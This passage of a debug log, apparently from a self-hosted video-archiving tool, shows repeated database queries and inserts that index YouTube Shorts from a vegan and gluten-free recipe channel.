s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:47.941 [debug] QUERY OK source="sources" db=0.5ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:47.943 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-30 00:00:00Z], 1] 20:28:47.945 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Breakfast is my favorite meal of the day and when I decided to go vegan and gluten free it became the hardest meal to make. After years of recipe testing and trying out different vegan and gluten free recipes, I've replicated some of my favorite meals and made them even better. If you've had to make some adjustments to your diet like going nut free, dairy free, gluten free, lower cholesterol or go vegan then I've got you covered so you can enjoy your best meals of the day.\n\nSubscribe for more daily content and weekly recipe videos! Thanks for your support! Janelle", "Level Up Your Breakfast Game", "4174c118-2b12-4080-8da2-0ef3f06ec427", 1, [], 14, false, "-XsWZGBk8q8", "https://www.youtube.com/shorts/-XsWZGBk8q8", 343, "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Level Up Your Breakfast Game/Level Up Your Breakfast Game [-XsWZGBk8q8].NA", false, false, true, 2, ~U[2022-06-30 00:00:00Z], ~U[2026-03-22 03:28:47Z], ~U[2026-03-22 03:28:47Z], "Breakfast is my favorite meal of the day and when I decided to go vegan and gluten free it became the hardest meal to make. After years of recipe testing and trying out different vegan and gluten free recipes, I've replicated some of my favorite meals and made them even better. If you've had to make some adjustments to your diet like going nut free, dairy free, gluten free, lower cholesterol or go vegan then I've got you covered so you can enjoy your best meals of the day.\n\nSubscribe for more daily content and weekly recipe videos! Thanks for your support! Janelle", "Level Up Your Breakfast Game", 1, 14, false, "-XsWZGBk8q8", "https://www.youtube.com/shorts/-XsWZGBk8q8", "/downloads/downloads/alec/Steamy Vegan/2022-06-30 Level Up Your Breakfast Game/Level Up Your Breakfast Game [-XsWZGBk8q8].NA", true, ~U[2022-06-30 00:00:00Z]] 20:28:47.946 [debug] QUERY OK source="sources" db=0.3ms idle=569.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:47.946 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:47.947 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [732] 20:28:47.947 [debug] Current batch of media processed. Will check again in 1000ms 20:28:48.948 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These gluten free and vegan overnight oats recipes are so good you won't be able to stop drooling. They're easy to make and place in your fridge overnight for the next morning and so refreshing for those warm summer mornings.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Overnight Oats = Magic While You Sleep/Overnight Oats = Magic While You Sleep [vNi5M5J3c4I].NA", "id" => "vNi5M5J3c4I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vNi5M5J3c4I", "playlist_index" => 344, "timestamp" => 1656537301, "title" => "Overnight Oats = Magic While You Sleep", "upload_date" => "20220629"} 20:28:48.950 [debug] QUERY OK source="sources" db=1.5ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:48.951 [debug] QUERY OK source="sources" db=0.7ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:48.955 [debug] QUERY OK source="media_items" db=3.8ms queue=0.2ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 21:15:01Z], 1] 20:28:48.958 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=1009.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These gluten free and vegan overnight oats recipes are so good you won't be able to stop drooling. They're easy to make and place in your fridge overnight for the next morning and so refreshing for those warm summer mornings.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ", "Overnight Oats = Magic While You Sleep", "cba5e084-2e09-4283-abd8-b229789b9e8f", 1, [], 10, false, "vNi5M5J3c4I", "https://www.youtube.com/shorts/vNi5M5J3c4I", 344, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Overnight Oats = Magic While You Sleep/Overnight Oats = Magic While You Sleep [vNi5M5J3c4I].NA", false, false, true, 1, ~U[2022-06-29 21:15:01Z], ~U[2026-03-22 03:28:48Z], ~U[2026-03-22 03:28:48Z], "These gluten free and vegan overnight oats recipes are so good you won't be able to stop drooling. They're easy to make and place in your fridge overnight for the next morning and so refreshing for those warm summer mornings.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ", "Overnight Oats = Magic While You Sleep", 1, 10, false, "vNi5M5J3c4I", "https://www.youtube.com/shorts/vNi5M5J3c4I", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Overnight Oats = Magic While You Sleep/Overnight Oats = Magic While You Sleep [vNi5M5J3c4I].NA", true, ~U[2022-06-29 21:15:01Z]] 20:28:48.960 [debug] QUERY OK source="sources" db=1.2ms idle=580.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:48.962 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.7ms idle=10.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:48.963 [debug] QUERY OK source="media_items" db=0.8ms idle=11.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [733] 20:28:48.964 [debug] Current batch of media processed. Will check again in 1000ms 20:28:49.965 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I can never eat chow Mein at chinese restaurants because I eat gluten free and vegan. Well, I'm not gonna let that stop me! I made this vegan and gluten free chow Mein recipe and it's far healthier and way more delicious then what you'd ever find in any chinese food restaurant.\n\nI used gluten free brown rice ramen noodles to make these gluten free.\n\nLet me know if you'd be interested in seeing a full length recipe video on this.\n\nDon't forget to subscribe for more vegan and gluten free recipes! Ja", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Vegan GF Tofu Chow Mein/Vegan GF Tofu Chow Mein [_O9zWNUd2iE].NA", "id" => "_O9zWNUd2iE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/_O9zWNUd2iE", "playlist_index" => 345, "timestamp" => 1656511226, "title" => "Vegan GF Tofu Chow Mein", "upload_date" => "20220629"} 20:28:49.966 [debug] QUERY OK source="sources" db=0.7ms idle=1007.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:49.967 [debug] QUERY OK source="sources" db=0.2ms idle=1005.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:49.969 [debug] QUERY OK source="media_items" db=2.0ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 14:00:26Z], 1] 20:28:49.970 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I can never eat chow Mein at chinese restaurants because I eat gluten free and vegan. Well, I'm not gonna let that stop me! I made this vegan and gluten free chow Mein recipe and it's far healthier and way more delicious then what you'd ever find in any chinese food restaurant.\n\nI used gluten free brown rice ramen noodles to make these gluten free.\n\nLet me know if you'd be interested in seeing a full length recipe video on this.\n\nDon't forget to subscribe for more vegan and gluten free recipes! Ja", "Vegan GF Tofu Chow Mein", "4bbdda5c-71c0-4b56-ad96-378dd7b8a7ea", 1, [], 14, false, "_O9zWNUd2iE", "https://www.youtube.com/shorts/_O9zWNUd2iE", 345, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Vegan GF Tofu Chow Mein/Vegan GF Tofu Chow Mein [_O9zWNUd2iE].NA", false, false, true, 2, ~U[2022-06-29 14:00:26Z], ~U[2026-03-22 03:28:49Z], ~U[2026-03-22 03:28:49Z], "I can never eat chow Mein at chinese restaurants because I eat gluten free and vegan. Well, I'm not gonna let that stop me! I made this vegan and gluten free chow Mein recipe and it's far healthier and way more delicious then what you'd ever find in any chinese food restaurant.\n\nI used gluten free brown rice ramen noodles to make these gluten free.\n\nLet me know if you'd be interested in seeing a full length recipe video on this.\n\nDon't forget to subscribe for more vegan and gluten free recipes! Ja", "Vegan GF Tofu Chow Mein", 1, 14, false, "_O9zWNUd2iE", "https://www.youtube.com/shorts/_O9zWNUd2iE", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Vegan GF Tofu Chow Mein/Vegan GF Tofu Chow Mein [_O9zWNUd2iE].NA", true, ~U[2022-06-29 14:00:26Z]] 20:28:49.971 [debug] QUERY OK source="sources" db=0.3ms idle=590.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:49.971 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:49.972 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [734] 20:28:49.972 [debug] Current batch of media processed. Will check again in 1000ms 20:28:50.973 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Food is far more powerful then people think. It boosts our moods, transforms how your body feels, and builds relationships. I love eating vegan and gluten free because it beyond satisfies all these areas for me.\n\nSubscribe for daily content about eating vegan and gluten free. Thanks for your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Food Brings People Together/Food Brings People Together [J-7_2_mDm2w].NA", "id" => "J-7_2_mDm2w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/J-7_2_mDm2w", "playlist_index" => 346, "timestamp" => 1656463833, "title" => "Food Brings People Together", "upload_date" => "20220629"} 20:28:50.974 [debug] QUERY OK source="sources" db=0.6ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:50.975 [debug] QUERY OK source="sources" db=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:50.977 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 00:50:33Z], 1] 20:28:50.979 [debug] QUERY OK source="media_items" db=1.5ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Food is far more powerful then people think. It boosts our moods, transforms how your body feels, and builds relationships. I love eating vegan and gluten free because it beyond satisfies all these areas for me.\n\nSubscribe for daily content about eating vegan and gluten free. Thanks for your support! Janelle", "Food Brings People Together", "f496c12c-5364-4c9a-aad6-f9825c5ebb25", 1, [], 13, false, "J-7_2_mDm2w", "https://www.youtube.com/shorts/J-7_2_mDm2w", 346, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Food Brings People Together/Food Brings People Together [J-7_2_mDm2w].NA", false, false, true, 3, ~U[2022-06-29 00:50:33Z], ~U[2026-03-22 03:28:50Z], ~U[2026-03-22 03:28:50Z], "Food is far more powerful then people think. It boosts our moods, transforms how your body feels, and builds relationships. I love eating vegan and gluten free because it beyond satisfies all these areas for me.\n\nSubscribe for daily content about eating vegan and gluten free. Thanks for your support! Janelle", "Food Brings People Together", 1, 13, false, "J-7_2_mDm2w", "https://www.youtube.com/shorts/J-7_2_mDm2w", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 Food Brings People Together/Food Brings People Together [J-7_2_mDm2w].NA", true, ~U[2022-06-29 00:50:33Z]] 20:28:50.980 [debug] QUERY OK source="sources" db=0.4ms idle=597.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:50.980 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:50.981 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [735] 20:28:50.982 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I've spent the last few weeks adjusting my brownie recipe and I've cracked the perfect brownie code! I made these vegan, gluten free, oil free, soy free and nut free. You're absolutely going to love this brownie recipe and they're packed with protein.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe to my channel for more vegan and gluten free recipes. I have an amazing overnight oats recipe dropping later this week that you won't wanna miss. These overnight oats are so easy to make, perfect for the warmer summer months, and as always made gluten free and vegan.\n\nThanks for all your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-28 The Perfect Brownies/The Perfect Brownies [ZE8CWCaRmDo].NA", "id" => "ZE8CWCaRmDo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/ZE8CWCaRmDo", "playlist_index" => 347, "timestamp" => 1656441029, "title" => "The Perfect Brownies", "upload_date" => "20220628"} 20:28:50.983 [debug] QUERY OK source="sources" db=0.9ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:50.984 [debug] QUERY OK source="sources" db=0.5ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:50.986 [debug] QUERY OK source="media_items" db=1.7ms 